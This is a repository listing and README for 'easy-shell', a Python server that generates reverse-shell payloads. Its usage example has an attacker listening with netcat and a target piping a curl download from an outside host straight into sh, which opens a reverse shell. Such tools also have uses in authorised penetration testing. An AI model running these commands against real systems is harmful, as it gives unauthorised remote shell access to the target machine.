https://github.com/cristianzsh/easy-shell
A pure Python script to easily get a reverse shell
https://github.com/cristianzsh/easy-shell
python python3 reverse-shell socket socketserver ssl urllib webserver
Last synced: about 1 year ago
JSON representation
A pure Python script to easily get a reverse shell
- Host: GitHub
- URL: https://github.com/cristianzsh/easy-shell
- Owner: cristianzsh
- License: bsd-3-clause
- Created: 2020-12-12T15:51:59.000Z (over 5 years ago)
- Default Branch: main
- Last Pushed: 2022-11-28T14:47:47.000Z (over 3 years ago)
- Last Synced: 2025-03-30T09:41:23.362Z (about 1 year ago)
- Topics: python, python3, reverse-shell, socket, socketserver, ssl, urllib, webserver
- Language: Python
- Homepage:
- Size: 3.91 KB
- Stars: 51
- Watchers: 4
- Forks: 5
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# easy-shell
A pure Python script to easily get a reverse shell.
### How it works?
After sending a request, it generates a payload with different commands available to get a reverse shell (python, perl, awk, and more).
### Example
##### Attacker machine
```
$ whoami
attacker
$ nc -l 8080
sh-4.4$ whoami
centos
sh-4.4$ pwd
/home/centos
```
##### Target machine
```
$ whoami
target
$ curl http://easy-shell.xyz/192.168.0.52:8080 | sh
```
### Running the server
Edit the following lines on ```easy_shell.py``` according to your needs:
```
PORT = 8080
DOMAIN = "http://127.0.0.1:{}".format(str(PORT))
HTTPS = False
KEY_FILE = "keyfile.key"
CERT_FILE = "certfile.cert"
```
If you want to run it over HTTPS, execute the following commands:
```
$ openssl genrsa 2048 > keyfile.key && chmod 400 keyfile.key
$ openssl req -new -x509 -nodes -sha256 -days 365 -key keyfile.key -out certfile.cert
```
### Used modules
- [ssl](https://docs.python.org/3/library/ssl.html#module-ssl)
- [http.server](https://docs.python.org/3/library/http.server.html#module-http.server)
- [socketserver](https://docs.python.org/3/library/socketserver.html#module-socketserver)
- [urllib.parse](https://docs.python.org/3/library/urllib.parse.html#module-urllib.parse)
### License
This project is licensed under the 3-Clause BSD License.